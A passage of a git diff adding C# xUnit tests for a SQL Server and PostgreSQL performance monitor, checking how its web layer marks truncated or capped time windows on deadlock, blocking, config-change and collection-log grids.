+        Assert.Equal("1 / -1", chip[0].GetString());
+        Assert.Equal("start", chip[1].GetString());
+        Assert.DoesNotContain("span-2", chip[2].GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteBlockingDeadlockTests.cs b/Darling/Darling.Tests/WebDataStartNoteBlockingDeadlockTests.cs
new file mode 100644
index 0000000000..b84d228956
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteBlockingDeadlockTests.cs
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The PostgreSQL event logs, SQL Server Blocking and Deadlocks in the web's data-start note (#4966), the facts that need no
+/// store. The store's side is <see cref="WebDataStartNoteLiveTests"/>.
+/// </summary>
+public sealed class WebDataStartNoteBlockingDeadlockTests
+{
+    private const string WindowEnd = "2026-01-03T00:00:00Z";
+    private const string Oldest = "2026-01-02T12:30:00.0000000Z";
+
+    private static NpgsqlDataSource NeverConnects() =>
+        NpgsqlDataSource.Create("Host=127.0.0.1;Port=9;Username=x;Database=x;Timeout=1;Pooling=false");
+
+    private static readonly CancellationToken Cancelled = new(canceled: true);
+
+    private static readonly (string Read, string Page)[] CappedPages =
+    [
+        ("get_pg_deadlocks", "{\"status\":\"deadlocks\",\"deadlock_count\":1,\"truncated\":true,\"deadlocks\":[{\"occurred_at\":\"" + Oldest + "\"}]}"),
+        ("get_pg_log_events", "{\"status\":\"events\",\"events_returned\":1,\"truncated\":true,\"order\":\"newest first\",\"oldest_returned_at\":\"" + Oldest + "\"}"),
+        ("get_blocking", "{\"truncated\":true,\"oldest_returned_event_time\":\"" + Oldest + "\",\"order\":\"event_time_desc\"}"),
+        ("get_deadlocks", "{\"truncated\":true,\"oldest_returned_deadlock_time\":\"" + Oldest + "\",\"order\":\"deadlock_time_desc\"}"),
+        ("get_deadlock_detail", "{\"truncated\":true,\"oldest_returned_deadlock_time\":\"" + Oldest + "\",\"order\":\"deadlock_time_desc\"}"),
+    ];
+
+    /// <summary>A capped page of each read names its oldest row, with no look at the store.</summary>
+    [Fact]
+    public async Task ACappedPage_OfEachRead_NamesItsOldestRow_WithoutAskingTheStore()
+    {
+        await using var store = NeverConnects();
+        foreach (var (read, page) in CappedPages)
+        {
+            var answered = await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, page, null, Cancelled);
+
+            var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+            Assert.True(answer["window_truncated"]?.GetValue<bool>(), read);
+            Assert.StartsWith("2026-01-02T12:30:00", answer["effective_start"]?.GetValue<string>(), StringComparison.Ordinal);
+            Assert.StartsWith("2026-01-02T12:30:00", answer["oldest_shown_utc"]?.GetValue<string>(), StringComparison.Ordinal);
+            Assert.Null(answer["data_start_utc"]);
+
+            /* A page that reaches the window's start says nothing. */
+            var reaches = page.Replace("2026-01-02T12:30:00", "2025-12-31T12:30:00", StringComparison.Ordinal);
+            var reached = await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, reaches, null, Cancelled);
+            Assert.Null(Assert.IsType<JsonObject>(JsonNode.Parse(reached))["window_truncated"]);
+        }
+    }
+
+    /// <summary>The PostgreSQL event words are row words for their own read only; the empty answers are probed like rows. The
+    /// get_waiting_tasks line is a guard pin (it passed before the change too); the rest fail without it.</summary>
+    [Fact]
+    public async Task TheRowWords_ArePerRead_AndTheEmptyAnswersAreProbed()
+    {
+        await using var store = NeverConnects();
+        const string events = "{\"status\":\"events\",\"events_returned\":0}";
+
+        /* `events` is a row word for get_pg_log_events only: on another read it is an envelope, left alone. */
+        Assert.Same(events, await WebDataStartNote.AddAsync(store, "get_waiting_tasks", "sql01", 48, WindowEnd, events, null, Cancelled));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_pg_log_events", "sql01", 48, WindowEnd, events, null, Cancelled));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_pg_deadlocks", "sql01", 48, WindowEnd, "{\"status\":\"no_deadlocks\",\"message\":\"x\"}", null, Cancelled));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_deadlocks", "sql01", 48, WindowEnd, "{\"status\":\"empty\",\"message\":\"x\"}", null, Cancelled));
+        const string notCollected = "{\"status\":\"not_collected\",\"message\":\"x\"}";
+        Assert.Same(notCollected, await WebDataStartNote.AddAsync(store, "get_blocking", "sql01", 48, WindowEnd, notCollected, null, Cancelled));
+        Assert.DoesNotContain("events", WebDataStartNote.RowStatusByRead.Where(kv => kv.Key != "get_pg_log_events").Select(kv => kv.Value));
+    }
+
+    /// <summary>get_blocking probes the two tables its tool does, both passed to the floor; every other read has one source.</summary>
+    [Fact]
+    public void GetBlocking_ProbesBothCaptureTables_AsItsToolDoes()
+    {
+        Assert.True(WebDataStartNote.TryGetReadSources("get_blocking", out var sources));
+        Assert.Equal(["blocked_process_reports", "dmv_blocking_snapshots"], sources.Select(s => s.Relation).ToArray());
+        Assert.True(WebDataStartNote.TryGetReadSources("get_deadlocks", out var one));
+        Assert.Equal(["deadlocks"], one.Select(s => s.Relation).ToArray());
+        Assert.False(WebDataStartNote.TryGetReadSources("get_active_queries", out _));
+
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpBlockingTools.cs");
+        Assert.Contains("ForCollectorTable(\"blocked_process_reports\"), DataWindowFloor.Source.ForCollectorTable(\"dmv_blocking_snapshots\")", tool, StringComparison.Ordinal);
+        var note = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "WebDataStartNote.cs");
+        Assert.Contains("postgres, sources, [resolved.ServerName]", note, StringComparison.Ordinal);
+    }
+
+    /// <summary>A premise pin, not a test of the change: the tools' source still spells the fields and order words the rules read.
+    /// It passes with or without the change and fails only if a tool renames one.</summary>
+    [Fact]
+    public void PremisePin_TheToolsSource_SpellsTheFieldsTheRulesRead()
+    {
+        var pgDeadlocks = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPgDeadlockTools.cs");
+        Assert.Contains("status = \"deadlocks\"", pgDeadlocks, StringComparison.Ordinal);
+        Assert.Contains("\"no_deadlocks\"", pgDeadlocks, StringComparison.Ordinal);
+        Assert.Contains("occurred_at = r.OccurredAtUtc", pgDeadlocks, StringComparison.Ordinal);
+        var pgLog = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPgLogEventTools.cs");
+        Assert.Contains("status = \"events\"", pgLog, StringComparison.Ordinal);
+        Assert.Contains("order = \"newest first\"", pgLog, StringComparison.Ordinal);
+        Assert.Contains("oldest_returned_at = rows[^1].OccurredAtUtc", pgLog, StringComparison.Ordinal);
+        var blocking = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpBlockingTools.cs");
+        Assert.Contains("oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.DeadlockTime))", blocking, StringComparison.Ordinal);
+        Assert.Contains("oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.DeadlockTime))", blocking, StringComparison.Ordinal);
+        Assert.Contains("order = \"deadlock_time_desc\"", blocking, StringComparison.Ordinal);
+        Assert.Contains("oldest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.EventTime))", blocking, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteCappedWindowTests.cs b/Darling/Darling.Tests/WebDataStartNoteCappedWindowTests.cs
new file mode 100644
index 0000000000..adf856cea5
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteCappedWindowTests.cs
@@ -0,0 +1,115 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Net;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A newest-first capped grid's note is judged against the window the read itself used (#4966). The web route takes the
+/// window's end once, before the read, hands it to the read as its anchor, and gives the same anchor to the note check, so a
+/// page whose oldest row falls between the read's start and a later clock reading still gets its note. A request that sends
+/// its own anchor is read and judged as it always was.
+/// </summary>
+public sealed class WebDataStartNoteCappedWindowTests
+{
+    private const int Hours = 48;
+
+    private static async Task<TestServer> BuildServerAsync()
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling"));
+        DarlingWebHostService.ConfigureResponseCompression(builder.Services);
+
+        var app = builder.Build();
+        var host = new DarlingWebHostService(
+            Microsoft.Extensions.Logging.Abstractions.NullLogger<DarlingWebHostService>.Instance,
+            new WebRuntimeState(), new CollectorRuntimeState(), new WebTlsCertificateState(), baselineCache: null);
+        host.ConfigurePipeline(
+            app, app.Services.GetRequiredService<NpgsqlDataSource>(), networkMode: false, networkListenIp: null,
+            allowedCidr: IPNetwork.Parse("127.0.0.1/32"), accessToken: "unused-in-loopback-mode", oidcClient: null);
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    private static async Task<(JsonObject Answer, string? SeenAnchor)> AskAsync(string query)
+    {
+        string? seen = null;
+        using var seam = new ReadLatencyWebRecordingTests.ExtraDispatchEntryScope(("get_collection_log", async (context, _, _) =>
+        {
+            seen = context.Request.Query["as_of"].ToString();
+            var end = string.IsNullOrEmpty(seen)
+                ? DateTime.UtcNow
+                : DateTime.Parse(seen, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+            /* The read takes its start from the end it was given; its page then stops a few milliseconds after that
+               start, and the clock moves on before the note is checked. */
+            await Task.Delay(60);
+            var oldest = end.AddHours(-Hours).AddMilliseconds(5);
+            return "{\"server\":\"sql01\",\"hours_back\":48,\"run_count\":200,\"truncated\":true,"
+                + "\"oldest_returned_collection_time\":\"" + oldest.ToString("o", CultureInfo.InvariantCulture) + "\","
+                + "\"newest_returned_collection_time\":\"" + end.ToString("o", CultureInfo.InvariantCulture) + "\","
+                + "\"order\":\"collection_time_desc\",\"runs\":[{\"collector\":\"wait_stats\"}]}";
+        }));
+
+        var server = await BuildServerAsync();
+        var context = await server.SendAsync(ctx =>
+        {
+            ctx.Request.Method = "GET";
+            ctx.Request.Path = "/api/read/get_collection_log";
+            ctx.Request.QueryString = new QueryString(query);
+            ctx.Request.Headers.Host = "localhost";
+            ctx.Connection.RemoteIpAddress = IPAddress.Loopback;
+        });
+
+        Assert.Equal(200, context.Response.StatusCode);
+        using var reader = new StreamReader(context.Response.Body);
+        return (Assert.IsType<JsonObject>(JsonNode.Parse(await reader.ReadToEndAsync())), seen);
+    }
+
+    [Fact]
+    public async Task ACappedPage_WhoseOldestRowFallsAfterTheReadsStart_GetsItsNote_WhenTheRequestSentNoAnchor()
+    {
+        var (answer, seen) = await AskAsync("?server=sql01&hours=48&limit=200");
+
+        Assert.False(string.IsNullOrEmpty(seen), "the read was handed the window's end it was judged against");
+        Assert.True(answer["window_truncated"]?.GetValue<bool>(), "the page stops after the read's own window start, so it is noted");
+        Assert.NotNull(answer["oldest_shown_utc"]);
+    }
+
+    [Fact]
+    public async Task ARequestWithItsOwnAnchor_IsReadAndJudgedAsItAlwaysWas()
+    {
+        var anchor = DateTime.UtcNow.AddHours(-3).ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+        var (answer, seen) = await AskAsync("?server=sql01&hours=48&limit=200&as_of=" + anchor);
+
+        Assert.Equal(anchor, seen);
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteConfigAndLogLiveTests.cs b/Darling/Darling.Tests/WebDataStartNoteConfigAndLogLiveTests.cs
new file mode 100644
index 0000000000..f797fa2d76
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteConfigAndLogLiveTests.cs
@@ -0,0 +1,501 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture reaches DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres,
+   seeds it once, and every fact then reads inside it and never writes. */
+/// <summary>
+/// The store behind <see cref="WebDataStartNoteConfigAndLogLiveTests"/>: one server per read and scenario, each holding
+/// the snapshots (the configuration histories), settings (the PostgreSQL changes) or runs (the collection log) its read
+/// shows. Every time below is measured back from <see cref="End"/>, the minute the store was seeded at, in naive UTC.
+/// </summary>
+public sealed class ConfigAndLogNoteStore : IAsyncLifetime
+{
+    public const string ServerConfigRead = "get_server_config_changes";
+    public const string DatabaseConfigRead = "get_database_config_changes";
+    public const string TraceFlagRead = "get_trace_flag_changes";
+    public const string PgConfigRead = "get_pg_server_config_changes";
+    public const string CollectionLogRead = "get_collection_log";
+
+    /// <summary>Hours of hourly runs the "capped" collection log server holds, ending at <see cref="End"/>: more than
+    /// the page limit the facts read with, at every window they read.</summary>
+    public const int CappedRunHours = 100;
+
+    /// <summary>Settings the "capped" PostgreSQL server changes, one an hour after the next: more than the page limit.</summary>
+    public const int PgChangedSettings = 30;
+
+    private ScratchPostgres? _scratch;
+    private int _nextServerId = -496700;
+    private long _nextLogId = 1;
+
+    public NpgsqlDataSource? DataSource { get; private set; }
+
+    /// <summary>The minute the history ends at, naive UTC.</summary>
+    public DateTime End { get; private set; }
+
+    /// <summary>The server a read's scenario seeds: <c>new</c> (added two days ago), <c>quiet</c> (monitored for months,
+    /// its first row in a week's window comes days late), and for the two lists that can hit a row cap <c>capped</c>.</summary>
+    public static string ServerName(string read, string scenario) =>
+        "note-" + read.Replace("get_", string.Empty, StringComparison.Ordinal).Replace('_', '-') + "-" + scenario;
+
+    public async ValueTask InitializeAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(baseConnectionString))
+        {
+            return;
+        }
+
+        var now = DateTime.UtcNow;
+        End = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+        _scratch = await ScratchPostgres.CreateAsync(baseConnectionString, CancellationToken.None);
+        await using (var connection = new NpgsqlConnection(_scratch.ConnectionString))
+        {
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+            await SeedAsync(connection);
+        }
+
+        DataSource = NpgsqlDataSource.Create(_scratch.ConnectionString);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (DataSource is not null)
+        {
+            await DataSource.DisposeAsync();
+        }
+
+        if (_scratch is not null)
+        {
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    private async Task SeedAsync(NpgsqlConnection connection)
+    {
+        /* The three SQL Server histories diff two snapshots a day apart or more. The new server's first collection is
+           two days back and its two snapshots both fall after it; the quiet one has been monitored for months, its
+           baseline sits before a week's window and its one change comes three days in. */
+        foreach (var read in new[] { ServerConfigRead, DatabaseConfigRead, TraceFlagRead })
+        {
+            var (newId, newName) = await AddServerAsync(connection, ServerName(read, "new"), End.AddDays(-2));
+            await SnapshotAsync(connection, read, newId, newName, End.AddDays(-2).AddMinutes(1), changed: false);
+            await SnapshotAsync(connection, read, newId, newName, End.AddDays(-1), changed: true);
+
+            var (quietId, quietName) = await AddServerAsync(connection, ServerName(read, "quiet"), End.AddDays(-120));
+            await SnapshotAsync(connection, read, quietId, quietName, End.AddDays(-10), changed: false);
+            await SnapshotAsync(connection, read, quietId, quietName, End.AddDays(-3), changed: true);
+        }
+
+        /* Added two days ago and nothing has changed: two identical snapshots, so each history answers "empty" (#4966), the
+           answer a short history makes look like a quiet one. */
+        foreach (var read in new[] { ServerConfigRead, DatabaseConfigRead, TraceFlagRead })
+        {
+            var (flatId, flatName) = await AddServerAsync(connection, ServerName(read, "flat"), End.AddDays(-2));
+            await SnapshotAsync(connection, read, flatId, flatName, End.AddDays(-2).AddMinutes(1), changed: false);
+            await SnapshotAsync(connection, read, flatId, flatName, End.AddDays(-1), changed: false);
+        }
+
+        /* The same answer over a server monitored for months: its snapshots sit inside a covered week. */
+        var (oldFlatId, oldFlatName) = await AddServerAsync(connection, ServerName(ServerConfigRead, "flat-old"), End.AddDays(-120));
+        await SnapshotAsync(connection, ServerConfigRead, oldFlatId, oldFlatName, End.AddDays(-10), changed: false);
+        await SnapshotAsync(connection, ServerConfigRead, oldFlatId, oldFlatName, End.AddDays(-3), changed: false);
+
+        var (pgFlatId, pgFlatName) = await AddServerAsync(connection, ServerName(PgConfigRead, "flat"), End.AddDays(-2));
+        await PgSettingAsync(connection, pgFlatId, pgFlatName, End.AddDays(-2).AddMinutes(1), "work_mem", "4096");
+        await PgSettingAsync(connection, pgFlatId, pgFlatName, End.AddDays(-1), "work_mem", "4096");
+
+        /* PostgreSQL: the changes read compares snapshots inside the window, so a baseline sits inside it. The quiet and
+           capped servers also hold one older row (a setting that never changes) so the store plainly covered the range. */
+        var (pgNewId, pgNewName) = await AddServerAsync(connection, ServerName(PgConfigRead, "new"), End.AddDays(-2));
+        await PgSettingAsync(connection, pgNewId, pgNewName, End.AddDays(-2).AddMinutes(1), "work_mem", "4096");
+        await PgSettingAsync(connection, pgNewId, pgNewName, End.AddDays(-1), "work_mem", "8192");
+
+        var (pgQuietId, pgQuietName) = await AddServerAsync(connection, ServerName(PgConfigRead, "quiet"), End.AddDays(-120));
+        await PgSettingAsync(connection, pgQuietId, pgQuietName, End.AddDays(-10), "old_marker", "1");
+        await PgSettingAsync(connection, pgQuietId, pgQuietName, End.AddDays(-5), "work_mem", "4096");
+        await PgSettingAsync(connection, pgQuietId, pgQuietName, End.AddDays(-3), "work_mem", "8192");
+
+        /* Thirty settings, all read at End less 6 days and each changed an hour after the one before it. */
+        var (pgCappedId, pgCappedName) = await AddServerAsync(connection, ServerName(PgConfigRead, "capped"), End.AddDays(-120));
+        await PgSettingAsync(connection, pgCappedId, pgCappedName, End.AddDays(-10), "old_marker", "1");
+        for (var k = 0; k < PgChangedSettings; k++)
+        {
+            await PgSettingAsync(connection, pgCappedId, pgCappedName, End.AddDays(-6), "setting_" + k.ToString("D2", CultureInfo.InvariantCulture), "0");
+            await PgSettingAsync(connection, pgCappedId, pgCappedName, End.AddDays(-6).AddHours(k + 1), "setting_" + k.ToString("D2", CultureInfo.InvariantCulture), "1");
+        }
+
+        /* The collection log: hourly runs. New: added two days ago, a run an hour since. Quiet: monitored for months, no
+           run until three days back. Capped: monitored for months, a run an hour for CappedRunHours hours. */
+        var (logNewId, logNewName) = await AddServerAsync(connection, ServerName(CollectionLogRead, "new"), End.AddDays(-2));
+        await RunsAsync(connection, logNewId, logNewName, "wait_stats", End.AddDays(-2), End, "1 hour");
+
+        var (logQuietId, logQuietName) = await AddServerAsync(connection, ServerName(CollectionLogRead, "quiet"), End.AddDays(-120));
+        await RunsAsync(connection, logQuietId, logQuietName, "wait_stats", End.AddDays(-3), End, "1 hour");
+
+        var (logCappedId, logCappedName) = await AddServerAsync(connection, ServerName(CollectionLogRead, "capped"), End.AddDays(-120));
+        await RunsAsync(connection, logCappedId, logCappedName, "wait_stats", End.AddHours(-CappedRunHours), End, "1 hour");
+
+        /* The window-start edge: a window of 24 hours ending at End less 24 hours starts at T0 (End less 48 hours). Each
+           server holds 24 hourly runs from its first instant, and a second collector's run at that same first instant,
+           so 25 runs fall in the window and a page of 24 is cut. The first instant is T0 itself for one server, and a
+           second after it for the other. */
+        var t0 = End.AddHours(-48);
+        foreach (var (scenario, shift) in new[] { ("edge-equal", TimeSpan.Zero), ("edge-later", TimeSpan.FromSeconds(1)) })
+        {
+            var (id, name) = await AddServerAsync(connection, ServerName(CollectionLogRead, scenario), End.AddDays(-120));
+            var first = t0 + shift;
+            await RunsAsync(connection, id, name, "wait_stats", first, first.AddHours(23), "1 hour");
+            await RunsAsync(connection, id, name, "latch_stats", first, first, "1 hour");
+        }
+    }
+
+    private async Task<(int Id, string Name)> AddServerAsync(NpgsqlConnection connection, string name, DateTime createdUtc)
+    {
+        var id = _nextServerId--;
+        await DarlingMcpTestData.RegisterServerAsync(connection, id, name, CancellationToken.None);
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None, "UPDATE collect.servers SET created_date = $2 WHERE server_id = $1",
+            id, DarlingMcpTestData.Naive(createdUtc));
+        return (id, name);
+    }
+
+    /* One snapshot of a SQL Server history. Unchanged: the baseline. Changed: max degree of parallelism moved, the
+       recovery model went from FULL to SIMPLE, or trace flag 1118 appeared beside 3226. */
+    private static async Task SnapshotAsync(NpgsqlConnection connection, string read, int serverId, string serverName, DateTime at, bool changed)
+    {
+        var time = DarlingMcpTestData.Naive(at);
+        switch (read)
+        {
+            case ServerConfigRead:
+                await DarlingMcpTestData.ExecAsync(
+                    connection, CancellationToken.None,
+                    "INSERT INTO collect.server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced) "
+                    + "VALUES ($1, $2, $3, $4, 'max degree of parallelism', $5, $5, TRUE, TRUE)",
+                    CollectionIdGenerator.Next(), time, serverId, serverName, changed ? 4L : 0L);
+                break;
+            case DatabaseConfigRead:
+                await DarlingMcpTestData.ExecAsync(
+                    connection, CancellationToken.None,
+                    "INSERT INTO collect.database_config (config_id, capture_time, server_id, server_name, database_name, recovery_model) "
+                    + "VALUES ($1, $2, $3, $4, 'NoteDb', $5)",
+                    CollectionIdGenerator.Next(), time, serverId, serverName, changed ? "SIMPLE" : "FULL");
+                break;
+            default:
+                foreach (var flag in changed ? new[] { 3226, 1118 } : new[] { 3226 })
+                {
+                    await DarlingMcpTestData.ExecAsync(
+                        connection, CancellationToken.None,
+                        "INSERT INTO collect.trace_flags (config_id, capture_time, server_id, server_name, trace_flag, status, is_global, is_session) "
+                        + "VALUES ($1, $2, $3, $4, $5, TRUE, TRUE, FALSE)",
+                        CollectionIdGenerator.Next(), time, serverId, serverName, flag);
+                }
+
+                break;
+        }
+    }
+
+    private static Task PgSettingAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime at, string setting, string value) =>
+        DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "INSERT INTO collect.pg_server_config (collection_id, collection_time, server_id, server_name, name, setting, source, boot_val, reset_val, sourceline, pending_restart, database_name, role_name) "
+            + "VALUES ($1, $2, $3, $4, $5, $6, 'configuration file', $6, $6, 0, FALSE, NULL, NULL)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), serverId, serverName, setting, value);
+
+    private async Task RunsAsync(
+        NpgsqlConnection connection, int serverId, string serverName, string collector, DateTime first, DateTime last, string step)
+    {
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+            + "SELECT $5 + row_number() OVER (ORDER BY t), $1, $2, $6, t, 10 + (row_number() OVER (ORDER BY t) % 50), 'SUCCESS', 0 "
+            + $"FROM generate_series($3::timestamp, $4::timestamp, interval '{step}') AS t",
+            serverId, serverName, DarlingMcpTestData.Naive(first), DarlingMcpTestData.Naive(last), _nextLogId, collector);
+        _nextLogId += 100_000;
+    }
+}
+
+/// <summary>
+/// The server page's Config Changes grids (server, database, trace flags and PostgreSQL's) and its Collection Log grids say
+/// where their data starts (#4966), over a store. Each fact runs the real tool for its read against the seeded store and
+/// passes the tool's own answer through <see cref="WebDataStartNote.AddAsync"/>, the path the web mirror takes, so the note
+/// is judged on rows the tool really returned.
+///
+/// <para>A range that starts before the store covered the server gets the note, which names the coverage start and carries
+/// the window's instants beside the sentence. A range the store covered gets none, even when its first row comes days late. A
+/// collection log or PostgreSQL changes page that fills its row cap names its oldest returned row whatever the store covers,
+/// and shows that note only when the row is later than the window's start.</para>
+/// </summary>
+public sealed class WebDataStartNoteConfigAndLogLiveTests : IClassFixture<ConfigAndLogNoteStore>
+{
+    private const int PageLimit = 20;
+
+    private readonly ConfigAndLogNoteStore _store;
+
+    public WebDataStartNoteConfigAndLogLiveTests(ConfigAndLogNoteStore store) => _store = store;
+
+    private static DateTime ParseUtc(JsonNode? node) =>
+        DateTime.Parse(node!.GetValue<string>(), CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
+
+    private static string Anchor(DateTime utc) => utc.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+
+    private void RequireStore() =>
+        Assert.SkipWhen(_store.DataSource is null, "Set DARLING_TEST_PG to a Postgres connection string to run the live data-start tests.");
+
+    /// <summary>What the web mirror answers for a grid: the tool's own payload for the read, then the data-start note.</summary>
+    private async Task<JsonObject> AskAsync(
+        string read, string scenario, int hours, int? limit = null, string? asOf = null, double? minDurationMs = null)
+    {
+        RequireStore();
+
+        var ct = TestContext.Current.CancellationToken;
+        var source = _store.DataSource!;
+        var server = ConfigAndLogNoteStore.ServerName(read, scenario);
+        var payload = read switch
+        {
+            ConfigAndLogNoteStore.ServerConfigRead => await DarlingMcpConfigHistoryTools.GetServerConfigChanges(source, server, hours, as_of: asOf, cancellationToken: ct),
+            ConfigAndLogNoteStore.DatabaseConfigRead => await DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(source, server, hours, as_of: asOf, cancellationToken: ct),
+            ConfigAndLogNoteStore.TraceFlagRead => await DarlingMcpConfigHistoryTools.GetTraceFlagChanges(source, server, hours, as_of: asOf, cancellationToken: ct),
+            ConfigAndLogNoteStore.PgConfigRead => await DarlingMcpPgServerStateTools.GetPgServerConfigChanges(source, server, hours, limit ?? 100, as_of: asOf, cancellationToken: ct),
+            ConfigAndLogNoteStore.CollectionLogRead => await DarlingMcpDataTools.GetCollectionLog(source, server, hours, limit ?? 200, asOf, null, minDurationMs, status: null, full_text: true, cancellationToken: ct),
+            _ => throw new ArgumentOutOfRangeException(nameof(read), read, "not a read this class asks"),
+        };
+
+        var answered = await WebDataStartNote.AddAsync(source, read, server, hours, asOf, payload, null, ct);
+        return Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+    }
+
+    /// <summary>The answer is rows the read returned (a changes list, or runs), not an envelope: a fact that expects no note
+    /// must not pass because the tool answered "nothing here".</summary>
+    private static void AssertRows(string read, JsonObject answer)
+    {
+        var rows = answer[read == ConfigAndLogNoteStore.CollectionLogRead ? "runs" : "changes"];
+        Assert.True(rows is JsonArray { Count: > 0 }, read + " answered no rows: " + answer.ToJsonString());
+        if (read == ConfigAndLogNoteStore.PgConfigRead)
+        {
+            Assert.Equal("config_changes", answer["status"]?.GetValue<string>());
+            Assert.Null(answer["message"]);
+        }
+    }
+
+    /// <summary>Every field a note adds is absent, and so is the tool's own window floor: the web strips a listed read's own
+    /// <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c> on every answer it returns, so the page sees only its own note.</summary>
+    private static void AssertNoNote(JsonObject answer)
+    {
+        Assert.Null(answer["window_truncated"]);
+        Assert.Null(answer["effective_start"]);
+        Assert.Null(answer["truncation_note"]);
+        Assert.Null(answer["data_start_utc"]);
+        Assert.Null(answer["oldest_shown_utc"]);
+        Assert.Null(answer["window_start_utc"]);
+        Assert.Null(answer["window_end_utc"]);
+    }
+
+    /// <summary>The window's instants beside the sentence: <paramref name="hours"/> long, and ending at <paramref name="end"/>
+    /// (or, with none given, when the grid was asked).</summary>
+    private static void AssertWindowInstants(JsonObject answer, int hours, DateTime? end)
+    {
+        var windowStart = ParseUtc(answer["window_start_utc"]);
+        var windowEnd = ParseUtc(answer["window_end_utc"]);
+        Assert.EndsWith("Z", answer["window_start_utc"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.EndsWith("Z", answer["window_end_utc"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal(TimeSpan.FromHours(hours), windowEnd - windowStart);
+        if (end is DateTime anchored)
+        {
+            Assert.Equal(anchored.Ticks, windowEnd.Ticks);
+        }
+        else
+        {
+            Assert.True(Math.Abs((windowEnd - DateTime.UtcNow).TotalSeconds) < 120, "the window ends when the grid was asked");
+        }
+    }
+
